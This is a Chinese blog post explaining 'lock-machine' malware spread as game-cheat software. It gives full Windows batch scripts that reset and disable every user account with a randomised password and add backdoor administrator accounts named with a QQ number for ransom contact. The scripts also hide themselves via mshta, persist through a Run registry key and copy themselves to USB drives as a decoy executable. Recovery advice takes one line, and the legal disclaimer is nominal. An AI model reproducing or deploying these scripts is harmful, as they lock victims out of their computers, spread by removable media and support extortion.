最近有好多网上疯传的软件(刷钻、xx游戏辅助类软件),搞的好多小学生的电脑都被锁机了,只留下一个用户:要密码加Qxxx(其中xxx代表QQ号),加完QQ还他妈要红包,这就是典型的放完R,又他妈平a带了暴击,所以呢今天抽了点时间我就给大家带来一篇有关电脑锁机方面的原理、源码、以及在拿到对方锁机源码和未拿到锁机源码时的破解方法,提到锁机我们有必要简单的了解一下关于锁机方面的基本概念。
一、概念部分
① 锁机:就是锁定你的计算机,简而言之就是给你的计算机上了密码,让你无法正常使用,这里的所谓锁机呢就是通过做的非法软件强制绕过系统账户在未知你电脑旧密码时给你电脑强行上锁(开机密码),我这里所说的强行上锁是在点击锁机软件时获取管理员权限,然后运行锁机代码!
②用户:简而言之就是你系统的帐号、登陆的帐号、这里所说的用户概念只对针在计算机,就是你以什么样的身份去用这台电脑(管理员/普通用户/来宾用户/还是黑客非法获取管理员权限的用户/...)
③密码:一种混淆技术,使用者希望将自己能识别的信息转变为别人无法识别的信息的一种技术,当然这个密码在某个人得知你密码加密算法的时候能够去破解,举个简单的例子就是你银行卡的密码,而你的密码算法是出生年月+00,这里的年月统一为两位,一位时默认在前面+0,那么如果你的出生年月是91年的4月份,那么这个银行卡的密码就是:910400,但是没人会在现实中告诉你我的银行卡密码算法原理,然后给你银行卡让你去取钱是吧,如果有,那么这个人是....,额,扯远了,但是呢,这个加密算法在计算机里面就不一样了,因为你可以通过源码获取到加密算法,从而通过加密算法得知密码,貌似扯远了,说到计算机加密和解密去了!但是呢这是我举的一个简单的例子来帮助那些非计算机人士更直观,更简单的去理解!
二、锁机原理
锁机的最基本原理就是通过外界写的程序去调用你计算机里面的net.exe这个应用程序,在得知这个根源的情况下,那么简单的介绍下这个net.exe的用法。
例子:
①:net user --列出系统内所有用户
②:net user administrator 123 --将 administrator这个用户的开机密码强制改为123
③:net user aeon 123 /add --新建一个用户名为 aeon 密码为 123的用户
④:net localgroup administrators aeon /add --将新建的这个用户权限提升为管理员 ,提升管理员的好处就是留后门,方便以后入侵(当然是在得知对方IP以及开启3389端口的情况下,至于如何设置软件去获取对方IP地址以及开启3389端口,获取到的IP必须要传给你,让后你可以随心所欲将他电脑远程当自己电脑一样玩了,别急接下来提到)
⑤:net user %username% 123 --将当前用户的密码强制改为123,%username%系统变量,代表当前用户
⑥:net user administrator /active:no --禁用administrator这个用户的登陆权限,开启用 active:yes即可,将administrator换成 %username%效果更好,原因你懂的...哈哈!
⑦:rundll32.exe user32.dll,LockWorkStation --锁定用户、相当于win+l 快捷键的效果,锁定之后就会要求重新输入密码,原因你懂的...哈哈!
⑧:shutdown -s -t 10 --设置关机倒计时,这里设置10秒后关机,然后对方输密码,原因你懂的...哈哈!
还有一种情况,比如对方电脑有多个用户的情况下,我们只改掉一个当前用户的密码,其它的都没改掉,那么岂不是白费了?对,那么接下来我给大家介绍一下通过循环去遍历当前系统内的所有用户,然后你各种操作(改密码、禁掉它的登陆权限、以及删除...)因为是个锁机,我们没必要去搞破坏,所以最好别删人家机子上数据,删除重要数据会被判刑的!
⑨:@echo off --以下就是通过for /f循环批量遍历出系统内的所有用户,并将遍历出来的所有用户密码改为123,并且禁掉所有用户登陆权限的代码

1 echo 所有用户帐号ID为: 2 echo. 3 for /f "skip=4 tokens=1-3" %%a in ('net user') do ( 4 if not "%%a"=="命令成功完成。" echo net user %%a 123 & net user %%a 123 & net user %%a /active:no 5 if not "%%b"=="" echo net user %%b 123 & net user %%b 123 & net user %%b /active:no 6 if not "%%c"=="" echo net user %%c 123 & net user %%c 123 & net user %%c /active:no 7 ) 8 echo. 9 echo net user %username% 123 & net user %username% 123 10 pause>nul
当然以上锁机的缺陷就是容易被破解!因为密码以明文的形式写出来了,只要拿到软件源码就可以破解掉,接下来我们改进下代码,定义一下属于自己唯一并且简单的算法达到即使别人拿到源码,又不懂算法的情况下,又或者即使有破解软件(哈勃、360类)破解出来的密码也无法使用,因为这个密码采用我们定义的一个简单算法(当然这个算法规则只有定义锁机软件的人才知道,又或者是拿到锁机软件,能看懂源代码的人才知道,当然能看懂算法源代码的人很少,这只是在简单算法和程序不加壳的情况下)+一些随机数
代码如下:

1 set opw=lzj_ 2 set rnum=%random% 3 set npw=%opw%%rnum:~-2%%rnum:~-3% 4 net user administrator %npw% & 5 net user Administrator %npw% & 6 net user %username% %npw% & 7 net user 要密码加QQ360665490 %npw% /add & 8 net user aeon%rnum% %npw% /add & 9 net localgroup administrators 要密码加QQ360665490 /add & 10 net localgroup administrators aeon%rnum% /add & 11 net user %username% /active:yes & 12 net user 要密码加QQ360665490 /active:yes & 13 net user aeon%rnum% /active:yes & 14 rundll32.exe user32.dll,LockWorkStation
然后在通过前面的for /f改进下,代码如下:
1 set opw=lzj_ 2 set rnum=%random% 3 set npw=%opw%%rnum:~-2%%rnum:~-3% 4 for /f "skip=4 tokens=1-3" %%a in ('net user') do ( 5 if not "%%a"=="命令成功完成。" net user %%a %npw%& net user %%a /active:no 6 if not "%%b"=="" net user %%a %npw% & net user %%b /active:no 7 if not "%%c"=="" net user %%b %npw% & net user %%c /active:no 8 ) 9 ::此处加入新建两个用户的代码、如 10 net user aeon%rnum% %npw% /add 11 net user 要密码加QQ360665490 %npw% /add
由于时间原因我就简单的整理了下,总体代码如下:

1 ::根据标识简单判断该代码是否执行过,如果之前执行过、则不执行锁机代码、如果是第一次执行,那么先去执行锁机 2 if exist c:\aeon_flag ( 3 goto scanU 4 ) else ( goto lock ) 5 ::循环遍历出当前系统内的所有用户、改掉用户密码及禁掉登陆权限 6 :lock 7 set opw=lzj_ 8 set rnum=%random% 9 set npw=%opw%%rnum:~-2%%rnum:~-3% 10 for /f "skip=4 tokens=1-3" %%a in ('net user') do ( 11 if not "%%a"=="命令成功完成。" net user %%a %npw% & net user %%a /active:no 12 if not "%%b"=="" net user %%b %npw% & net user %%b /active:no 13 if not "%%c"=="" net user %%c %npw% & net user %%c /active:no 14 ) 15 ::添加两个用户(一个随机标识用户、一个管理员) 16 net user aeon%rnum% %npw% /add 17 net user aeon%rnum% /active:yes 18 net user 要密码加QQ360665490 %npw% /add 19 net user 要密码加QQ360665490 /active:yes 20 net localgroup administrators 要密码加QQ360665490 /add & 21 net localgroup administrators aeon%rnum% /add 22 md c:\aeon_flag 23 ::每隔20分钟进行一次扫描、如果扫描到有U盘时、则将自己拷贝到所扫描到的U盘上(并重命名)、达到通过U盘传播 24 :scanU 25 if "%1" == "h" goto :go 26 mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close) & 0.0 27 :go 28 reg add hkey_local_machineSoftwareMicrosoftWindowsCurrentVersionRun /v run /t REG_SZ /d "%~f0" /f 29 :loop 30 for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do ( 31 if not "%%i"=="" echo f|xcopy %0 %%i\我的隐私.exe 32 ) 33 ::设定扫描时间为1200秒、也就是20分钟 34 ping -n 1200 127.0.0.1>nul & goto :scanU
那么这种相比前面那种是不是更难看懂呢(其实这只是最简单的自定义算法了)、再搞难一点自己随机一个标识用户,一个随机密码,在那边搭建个服务器,将随机到机器标识和密码上传到自己搭建的服务器,存入数据库即可!
针对这种破解方法,只能借助第三方工具,去做个PE盘,然后进入PE,清除下密码就O了!
这是我来到这个园子内的第一篇处女作品,难免会出错,加上时间紧急没有特别详细的去附截图,有什么疑问或者要求尽管提出来,我会在第一时间回复、大家共同学习!
声明:以上源代码纯属原创,不可用于非法用途,否则后果自负!
如果园子内还有那位大佬,还懂锁机以及锁机破解类的,写一篇文章出来,然后在评论区附上文章地址,让小弟借鉴借鉴!